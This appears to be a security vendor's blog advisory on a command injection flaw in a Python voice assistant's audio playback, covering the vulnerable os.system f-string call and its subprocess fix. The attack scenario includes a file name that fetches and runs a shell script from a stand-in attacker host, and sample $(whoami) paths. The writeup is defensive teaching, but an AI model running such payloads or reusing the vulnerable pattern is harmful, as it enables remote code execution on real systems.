Back to Blog
critical SEVERITY4 min read

Voice Assistant Command Injection via os.system() f-String

A critical command injection vulnerability in a voice assistant's audio playback handler allowed attackers to execute arbitrary shell commands by manipulating file paths passed to os.system(). The fix replaces shell invocation with subprocess calls and direct OS APIs, eliminating shell metacharacter interpretation entirely.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 16, 2026•Reviewed October 2, 2026

Answer Summary

A voice assistant's audio playback handler used os.system() with f-string interpolated file paths, allowing attackers to inject shell commands through environment variables (TEMP/TMP) or symlink manipulation. An attacker could execute arbitrary commands with the service's privileges by crafting a malicious file path containing shell metacharacters. The fix replaces os.system() with subprocess.Popen() on Unix and os.startfile() on Windows, both of which bypass shell parsing. CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Vulnerability at a Glance

cweCWE-78
fixReplace os.system() with subprocess.Popen() and os.startfile()
riskRemote code execution with service privileges
languagePython
root causeFile path passed directly to os.system() without shell escaping
vulnerabilityOS Command Injection

When Shell Parsing Becomes a Security Hole

A web service that processes voice requests and plays back synthesized audio seems straightforward: fetch text-to-speech output, save it to a temporary file, then play it back to the user. But a single line of code in the audio playback path—a call to os.system() with an f-string—created a critical command injection vulnerability.

The vulnerable code pattern was simple but dangerous:

os.system(f'start "" "{out}"' if os.name == "nt" else f'mpg123 "{out}" >/dev/null 2>&1 &')

The out variable contains a file path. By passing it directly into an f-string that constructs a shell command, the code invited shell metacharacter interpretation. An attacker who could influence the file path—through TEMP environment variable manipulation, symlink creation, or other means—could inject arbitrary shell commands.

Affected Versions

Affected not applicable (first-party code)
Fixed in not applicable (first-party code)
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Why This Pattern Is Dangerous

os.system() passes its argument directly to /bin/sh (or cmd.exe on Windows), which parses shell syntax before execution. Any shell metacharacters in the string—$, `, |, ;, &, >, <, (, ), etc.—are interpreted as command operators, not data.

Attack scenario:

  1. A service writes TTS output to /tmp/ based on a user-supplied ID.
  2. An attacker sets the TEMP environment variable to /tmp/attacker_controlled/.
  3. The attacker creates a file or symlink named /tmp/attacker_controlled/output$(curl http://attacker.com/shell.sh | sh).mp3.
  4. When the service constructs the os.system() call with this path, the shell expands $(...) and executes the attacker's script with the service's privileges.

This is a remote code execution vulnerability in a production web service: every request that triggers audio playback could execute attacker-controlled code.

The Fix: Bypass the Shell Entirely

The fix replaces shell invocation with direct subprocess execution and native OS APIs:

if os.name == "nt":
    os.startfile(out)
else:
    subprocess.Popen(["mpg123", out], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Why this works:

  • Windows: os.startfile() launches the file with its associated application (the default audio player) without invoking a shell. The file path is passed directly to the OS.
  • Unix: subprocess.Popen() with a list argument (not a shell command string) invokes the executable directly, passing each list element as a separate argument. No shell parsing occurs; the file path is data, not syntax.

In both cases, shell metacharacters in the file path are treated as literal characters. A path like /tmp/output$(whoami).mp3 is passed to mpg123 as-is, and mpg123 treats it as a filename, not a command.

Additional Hardening: URL Validation

The fix also adds validation to the ask_api() function:

if not base_url.startswith(("http://", "https://")):
    return "[API 调用失败] 仅支持 http/https 后端地址", ""

This prevents protocol confusion attacks where an attacker might pass a malicious backend address (e.g., file://, gopher://) that could trigger unexpected behavior or information disclosure. It's a defense-in-depth measure that ensures the API client only connects to web services.

Key Takeaways

  • Never use os.system() with user-influenced data. Even if you believe the data is "just a file path," shell parsing can be exploited. Use subprocess.run() or subprocess.Popen() with a list argument instead.
  • On Windows, prefer os.startfile() for launching associated applications. It's faster, simpler, and avoids subprocess overhead entirely while remaining injection-safe.
  • On Unix, always pass subprocess arguments as a list, never as a string with shell=True. The list form bypasses shell parsing; the string form does not, even with shell=False if you later change the code.
  • Validate downstream URLs and paths at trust boundaries. The ask_api() URL check prevents protocol confusion; similar checks should apply anywhere untrusted input shapes a system call.
  • Temporary file paths are not safe input. TEMP and TMP environment variables are user-controlled on many systems; attackers can set them to directories they control or create symlinks within them.

How Orbis AppSec Detected This

Source: The file path returned from TTS synthesis (out variable) and passed to the audio playback handler.

Sink: The os.system() call with f-string interpolation on line 56 (vulnerable version).

Missing control: No shell escaping (e.g., shlex.quote()) and no use of non-shell subprocess APIs.

CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Fix: Replace os.system() with subprocess.Popen() (Unix) and os.startfile() (Windows), both of which invoke executables directly without shell parsing.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection vulnerabilities thrive in the gap between code and shell syntax. By using os.system() with untrusted data—even data as mundane as a file path—developers create an unexpected trust boundary: the shell. Modern Python provides safer alternatives (subprocess.run(), os.startfile()) that execute code directly, without parsing. The fix here is a reminder that file paths and other "data-like" strings are not immune to injection when passed to shell-invoking functions. Always ask: does this function invoke a shell? If yes, never pass user-influenced data to it without explicit shell escaping or, better, without using an API that doesn't parse shell syntax at all.

Prevention and further reading

Frequently Asked Questions

Could an attacker inject commands into the audio file path before the os.system() call?

Yes. If the service accepts user input that influences the TEMP directory or creates symlinks there, an attacker could craft a path like `/tmp/evil$(whoami).mp3` which os.system() would parse and execute. The subprocess fix receives the path as a direct argument, not as shell syntax.

Does the base_url validation in ask_api() prevent similar injection attacks in API calls?

No—that validation checks URL scheme safety but doesn't relate to the audio playback injection. However, it does prevent protocol confusion attacks where an attacker might pass a malicious backend address. The two fixes target different injection vectors.

Why use os.startfile() on Windows instead of subprocess everywhere?

os.startfile() is the native Windows API for launching associated applications (like the default audio player); it's faster and more direct than spawning a subprocess with `start`. subprocess.Popen() is used on Unix because there is no equivalent—it's the correct cross-platform approach.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.